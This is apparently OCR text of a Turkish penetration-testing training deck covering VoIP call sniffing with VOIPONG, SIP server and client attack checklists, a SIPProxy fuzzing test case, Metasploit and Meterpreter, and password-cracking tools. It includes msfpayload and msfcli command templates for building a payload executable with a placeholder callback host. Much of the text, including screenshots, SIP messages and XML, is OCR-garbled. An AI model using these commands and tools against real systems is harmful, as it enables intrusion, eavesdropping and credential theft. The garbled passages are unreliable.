so before program

2> Voibona

efe:[voipong]# voipong -d4 -f
EnderUNIX VOIPONG Voice Over IP Sniffer starting...
Release 2.08-DEVEL, running on efe.dev.enderunix.org [FreeBSD 4.10-STABLE FreeBSD 4.10-STABLE #0: Thu Dec 1386]

(c) Murat Balaban

19/11/04
19/11/04
19/11/04
19/11/04
19/11/04
19/11/04
19/11/04
19/11/04

13:
13:
13:
13:
13:
13:
13:
13:

32:
32:
32:
32:
32:
32:
38:
38:

16:
16:
16:
16:
16:
16:
37:
37:

http://www.enderunix.org/
EnderUNIX VOIPONG Voice Over IP Sniffer starting...
Release 2.0-DEVEL running on efe.dev.enderunix.org [FreeBSD 4.10-STABLE FreeBSD 4.10-STABLE
fxpl has been opened in promisc mode, data link: 14 (192.168.0.08/255.255.255.248)
[8434] VoIP call detected.
[8434] 10.0.0.49:49606 <--> 10.0.0.90:49604
[B434] Encoding: @-PCMU-8KHz
[8434] maximum waiting time [18 sn] elapsed for this call, call might have been ended.
MAY file [output/20041119/session-enc@®-PCMU-8KHz-10.0.0.49,49606-10.0.0.90,49604 .wav] has
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SIP Sunucusuna Yonelik Saldirilar “"gamasec

> SIP Sunucu Yaziliminin Analizi

> |sletim Sistemi ve Yazilim Gincellemeleri
> On Tanimh Yapilandirma, Yonetim Servisleri ve Sifreler
> Bilinmeyen Programlama Sorunlari
> SIP Servisi Analizi
> Kullanici Dogrulama ve Sifre Analizi
> |steklerde ve Dahililerde Yetki Analizi
> Ozel Cagrilar ve Uzantilara Erisim Haklari
> Cagr Sahteciligi, Yonlendirme ve Posta Kutusu Islemleri

> QOzel Testler
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lletisim Analizi ve Ozel Saldirilar ““gamasec

> SIPProxy - sourceforge.net/projects/sipproxy

> Proxy Ozellikleri ve Istek Analizi Igin Kullanilabilmektedir

> SIP Cagrisi izleme ve Cézimleme
> Cagrilar Uzerindeki Belirli Bolimleri Stirekli Degistirme
> QOzel Test Destegi

> Hazir Testler ve Ozel Testler Igin Destek

> Dogrulamasiz REGISTER, Dogrudan INVITE, INVITE ile Yetki
Analizi

> Servis Engelleme icin Ardisik Paket Destegi

> XML Temelli Test Igerigi, Farkli Girdi Turleri, Déngli ve Uyar
Desteqgi

> RTPProxy, RedirectRTP — skora.net/uploads/media

> RTPProxy'ye istekleri yonlendirme ve degistirebilme imkani
sunmaktadir

51



<TestCase cycles="10" initialRequestMessagelD="I"' name="L
Attempt' xmins:xsi="http://'www.w3.org/200l/XMLSchema-in
¥sinoMames paceSchemalocation ="TestCaseSchema.xsd">

<Variables >

SIPProxy

<Var name="attackerNr">
<ClearText> <|[CDATAI[IIN] > </ClearText
<Nar>
=Var name="attackerlP">
<ConfigValue paramMName ="TestCase5a
<Nar>
=<Var name="attackerPort">
<ConfigValue paramMName ="TestCase5ag
</Nar>
=Var name="targetiP">
<ConfigValue paramName ="TargetlP"/>
<Nar>

=Var name="call_ID">

""gama

—_—

SEE}

o SIP Prowy - VolP Security Test Toal

£ |
]

e %)

<5StringMutationFuzzer length="10">

|Ebe Messages Window |
Frouy Moce | Tast Case Made

R e o o R R R R R o o o e o o

Bl #1FaISTER sipr1 921000 18 5IFf2.0

SIRJ2.00100 Tryng

SIPY2.0401 Unsuthiorized
AEGISTER siprl 92 168.0.18 SIR{2 0
SIRj2.0 100 Tryng

SIPA2.0200 CK

HOTIFY spi 2220152, 168, 0. 159:5070 312 0|

SIPfE.0 481 Callf Trareschon Doss Mot East
INVITE s *S8ED 152, 1 68.0, 19 51Pi2.0
SIPY2.0 407 Frooy fuithenticabon Feouned
AT s RREDL 92, 1680, 18 S8R2.0
INWITE sip;* 380152, 68,0, 19 51872.0
SIPf2.0 100 Trorg

SIPZ0 200 Cx

WK s VS92, 1680, 18 SE2.0

IE pc Sl 82, 168.0,19 SIFIZ.0

SIPZ0 20008

NOTIFY m1p:2222f192.168.0.19:5070 SIF/z.0

Wia: SIFFZ.0FUDF 192.168.0.19:5060;branch=zdhi4bF408fad7d
Fram: "Tnknown" <aip:Unknownli192.168.0.19:; tag=asdhZag1as
To: <21p:2222B192.168.0.19:5060>

Contact: <=ip:IUnknownfl9z.168.0.19>

Call=I0: Ohdb53bh504hTelddd4edasc?49a618b0R192_ 168.0.19
Cdeq: 102 NOTIFY

User-hgent: Asterisk PBX

Hax-Forwards: 70

Event: message=Iwmmary

Content-Type: application s imp 1 - s mage - 8 e |
Content-Length: 92

Haasagea-Walting: no
Hessage-Account: aip:asteriak@i97.168.0.19
Voice-Hessage: 070 [0/0)

| add fude:

Active | Divection Regular Expression

O] |cLEnTropes (MaeFonusrds:) |0

Emplacement
&l 100
51 51 Frooey dppbesbon

] CLENTtoPB - User-dgenk:) ¥
il TNWTTE, Ak

[ oo CLIENT [abowd 1%

i 8| LB

<CharacterSet> <I|[CDATA[a-z,0-9]] > < /CharacterSet>

</StringMutationFuzzer=>
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SIP Istemcisine Yonelik Saldirilar “"gamasec

> Sunucu Testlerinin Tamami Uygulanmalidir
> Test Bakis Acilarinda Kucuk Degisiklikler Yapilimalidir

> Dogrudan Cagri — Faturalamanin Ortadan Kalkmasi

> Kayit Destegi Olmasi — SIP Agina Yonelik Cagri Acabilme
> Sifre Kaydetme — Kullanici Kimlikleri

> On Tanimh Yoénetim — Sifreler, TFTP Guncelleme

> Merkezi Guncelleme — Toplu Ele Gecirme

> Gomuld Yazillm — Harici Yazilimlarin Yan Etkileri (Netcat?)

> Ortam Dinleme, Video Kaydi ve Diger Olasiliklar Arastiriimalidir

> SIPProxy Hazir Testleri ve Ozel Testler ile Analiz Yapilmalidir
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Diger VolP Saldiri Araglar ""gamasec

> Viper - VAST Live Distro — vipervast.sourceforge.net

> Cok sayida VolP analiz araci ve tam bir analiz ortami

> Warvox — warvox.org
> Asterisk IAX2 Uzerinden Wardialing

> Telefon Numaralarini Arayak, Alinan Sinyal ile Cihaz Saptama
> |War — www.softwink.com/iwar

> Asterisk IAX2 Uzerinden Wardialing

> Telefon Numaralarini Arayak, Alinan Sinyal ile Cihaz Saptama
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“‘gamasec

Sisteme Sizma Sureci
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Sisteme Sizma Sureci

> Exploit

Bir guvenlik acigini kullanarak normal-
disi bir islem yapilmasini saglayan
yontem veya yazilim

> Payload/Shellcode

Exploit sonrasi calistirilacak ve
normal-digi islemi yapacak igerik

> Encoder

> Calistirilacak Shellcode’u degistiren ve
saldiri onleme sistemleri tarafindan
yakalanmasini onleyen kodlamalar

""gamasec
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m_N
Exploit Yasam Cevrimi “jamasec
Guvenlik
Aciginin
Bulunmasi
Exploit’in 0 Gun
Ozellestirilebilir Exploit’inin

Hale Gelmesi Hazirlanmasi

Genel

et Guvenlik
Exploit’in Aciginin
Yayinlanmasi Duyurulmast

Exploit’in Teknik Analiz ve
Hazirlanmasi Cozumleme
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Genel Exploit’lerin Ozellikleri “‘gamasec

> Cok farkli programlama dillerinde sunulabilirler (binary,c,c+
+,perl,lisp,python)

> Acigin tek veya 0zel bir kullanimi uzerine gelistiriimis
olabilirler (..%c0%af.. veya ..%c0%qf..)

> Payload/Shellcode degeri 0zellestirilemeyebilir (binary,
acik hakkinda kisitl bilgi)

> Kod kirli veya kotu niyetli yaziimis olabilir

> Herkesce kullanildigl igcin onlem alinmig olabilir
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Exploit Gelistirme Sureci "
P 5 gamasec
Guvenlik
Aciginin
Farkli Payload Duyurulmasr Teknik Analiz

Kullanimina Hazir
Hale Getirilmesi
Exploit’in

Ozellestirilebilir
Hale Gelmesi

Farkl1 Platform Cozumleme
ve Programlara Yapilarak
Uyarlanmasi Normal-Dis1 Islem

Yapilmasi

ve Cozumleme
Acik Atlama
Noktalarinin

Belirlenmesi
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Metasploit Framework "=gamasec

> 673+ Istemci/Sunucu Exploit ve 217+ Payload Bulunuyor

> Sisteme Sizma, Haritalama ve Servis Engelleme icin 350+
Araca Sahip

> Cok farkh turde Payload’lar kullanilabiliyor ve bagimsiz
olarak Uretilebiliyor (Binary, Perl, Python, Shell, PHP)

> Meterpreter ile Hedef Tamamen Ele Gegirilebiliyor
> VNC ile Hedef Sisteme Grafik Arayuzle Baglanilabiliyor

> Cok sayida farkli encoder kullanilabiliyor (Shikata Ga Nai
vb.)

> Konsol ve Java arayuzlerine sahip
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Metasploit Framework -.-gamase*é}

&%

File View plo Auxiliary Payloads History Post-Exploit Console Database Plugins Help

Jobs | Ses{ aix » [lients | Services | Vulns | Events | Notes | Loots | Creds |y consoled |
bsdi (2
dialup P 8 o o
freebsd » B 8
oY oYo oPYy .0F¥o. .0PY¥o. 8 .oPFYo. OB OBP
&' & & sood hpux P | vb.. 8 8 B B 8 8 8
B B B H. irix > 'Yh. = B BB B B E
B2 B B Yo “¥ooP ' 8YooP' 8 "YooP' 8 B
cefaataontan linux [ I T, - R S tr..tt..t
B L L L I
netware #
=[ mdg 05X P |o-dev [core:3.7 api:l.o0]
== —==] G = 50 auxiliary
+ == ===] 2] solaris 7 encoders = 8 nops
=[] 3y unix P led today (2011.03.31)
sf auxilia antivirus P rcanner/discovery/udp sweep
sf auxilia | 3 kel > 168.1.1=255
HOSTS => 192.168.1.1-255 BRI
sf auxiliary(udp sweep) 3 backdoor »
[*] Sending 10 probes to ] 168.1.255 (255 hosts)
[*] Discovered NTF on 192 backupexec > [ v
[*] Discovered DHNS on 192 hrightstnr > H18Z20001000000000000075645525349474e04424942440000100003)
[*] Discovered NetBIOS on b DECDWET+C (01T +NFCAMWET+<N%=+1T7 +NFCMWRT+<F0>3T ¢ MSBROWSE  :<01>:G
[*] Discovered NetBIOS on rowser > : 0=:U : _ MSBROWSE __ :<01>:G
[*] Scanned 255 of 255 hog 4 o= B adobe_cooltype_sing
[*] Buxiliary module execy P adobe flashplayer avm
driver - adobe_flashplayer_newfunction
email > adobe_flatedecode_predictor02
e_mc > adobe_geticon
f!Iefnrmat > adobe_jbig2decode
L. firewall > adobe media_newplayer s
— fip > adobe_shockwave_rcsl_corruption
msf auxiliary(udp_sweep) > games > adobe_utilprintf Submit |
http > aim_goaway
iis [ amaya_bdo v 217 payload 35 post mndule{sf
| [ - - ]
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Meterpreter "“gamasec

> Meta-Interpreter

> Modul destekli exploit sonrasi araci
> Dosya sistemi, Sure¢ yonetimi, Ag vb.
> Kodu acik ve kolayca gelistirilebilir
> Dinamik modul yukleme
> Windows, Linux
> Dabhili Kriptolama
> Kanal ve VNC Injection desteqi
> Exploit Sonrasi Yardimci Araclar

> Sureg birlestirme, IRB destegi, Timestomp,SAM HashDump
> Yeni bir alt sure¢ olarak dogrudan bellekte calisiyor
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EXploit “‘gamasec
> Cok sayida, kaynak kodu acik, eski ve yeni exploit
> Istemci ve sunucu exploitleri birarada
> Farkli isletim sistemleri icin yaziimis exploit’ler
> Windows, MacOSX, Linux,Irix, AlX, Solaris, iPhone, Tomcat vb.
> Farkli islemci platformlari icin yaziimis exploit’ler
> PPC, 1A32, SPARC, MIPS, etc.
> Hazir fonksiyonlar ile yazilacak kod miktari oldukca az

> SSL destegi
> Hazir ag protokolleri (SMB/DCERPC etc.)
> Encoding desteqi
> Kolay payload ve hedef entegrasyonu
> Kod yerine guvenlik acigina odaklanmak hedeflenmis

63



Payload -.-gamasec

> Bircok platform icin hazir Shellcode
> Windows,Linux,Aix,Solaris,Hp/UX,0S X,BSD,BSDI etc.
> Hazir Shellcode (Shell Bind, Reverse, FindTag)
> Perl Kodu
> Ust dluzey payload’lar
> Meterpreter, VNC Injection
> Dogrudan bellege program yukleme ve calistirma
> Kademeli/Moduler payload yukleme
> Hedef ustunden tunel kurarak yeni saldiri kapasitesi
> Tek basina payload kullanimi

> msfpayload PAYLOAD_ADI LHOST=x.x.x.x LPORT=3333 X > test.exe

> msfcli payload handler PAYLOAD=PAYLOAD_ ADI LHOST=x.x.x.x
LPORT=3333 E
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VNC Baglantisi Ekran Goruntusu

“‘gamasec

TightWVMNC: VNCShell

=+ Metasploit Courtesy Shell [TM)

Microsoft Windows HP [Siiriim 5.1.2635]
CC» Telif Hakki 1985-2801 Microsoft Corp.

CosWINDOWS~system32 >

F—n— _ ] s
s Baslat v Metasploit Courtesy ... = Y, /18543




Sifre Kirma -.-gamasec

> Sifre Kirma Birgok Sebeple Gerekli Olabilmektedir

> Ele Gegirilen Sistemde Yetki Yukseltmek
> Farkli Hedefler icin Gegerli Kullanici Elde Etmek
> Daha Sonraki Girisler icin Kullanmak

> Sifre Kirma Yontemleri

> Aktif Sifre Kirma
> Pasif Sifre Kirma

> Sozluk Saldirisi

> Kriptoanaliz Saldirisi

> Deneme Yanilma Saldirisi

> Gokkusagi Tablolari Kullanimi
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Sifre Kirma -.-gamasec

> Medusa — www.foofus.net/~jmk/medusa/medusa.html

> Cok Sayida Ag Servisine Canli Sifre Denemesi
Yapabilmektedir

> telnet,ssh,rlogin,rexec,smb,snmp,vnc,mysql,mssql....
> John The Ripper — www.openwall.com/john

> Sozluk Saldirisi, Deneme/Yanilma, Karakter Havuzunu
Kisitlayabilme, Yuksek Hiz

> Kirilabilen Sifreler : Windows, Linux, Mac OS X, Solaris...

> Ophcrack — ophcrack.sourceforge.net

> GoOkkusagi Tablolarini Desteklemektedir
> Windows Sifreleri Kirmak Icin Idealdir
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Ophcrack, Medusa ““jamasec

> O p h CraCk O - P — ophcrack
0 B E » g «

Load... Delete Tables... Launch SaveAs Help Exit About
> Medusa

ID USERNAME/LMHASH LMpasswdl LMpasswd2 NTpasswd
500 Administrator

1004 gamasec

501 Guest

1000 HelpAssistant

1003 Holden

1002 SUPPORT_388945a0?
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Backtrack Linux "=gamasec

> www.backtrack-linux.org
> Canli Calisan bir Linux Dagitimidir

> Sistem Sizma ve Saldiri Testi Amacl Hazirlanmistir

> Temel Sistem Sizma Araclari Hazir Olarak Gelmektedir
> Cok Sayida Exploit ve Yardimci Arac¢ Hazirdir
> Eski Aracglarin Kurulum Derdi ile Ugrasiimaz

> Ozel Analizlerde Kullaniglidir

> Kablosuz Ag Analizi

> VolP Analizi

> Web Uygulamasi Analizi
> Sistem Sizma Analizi
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Sorular -.'gamasec
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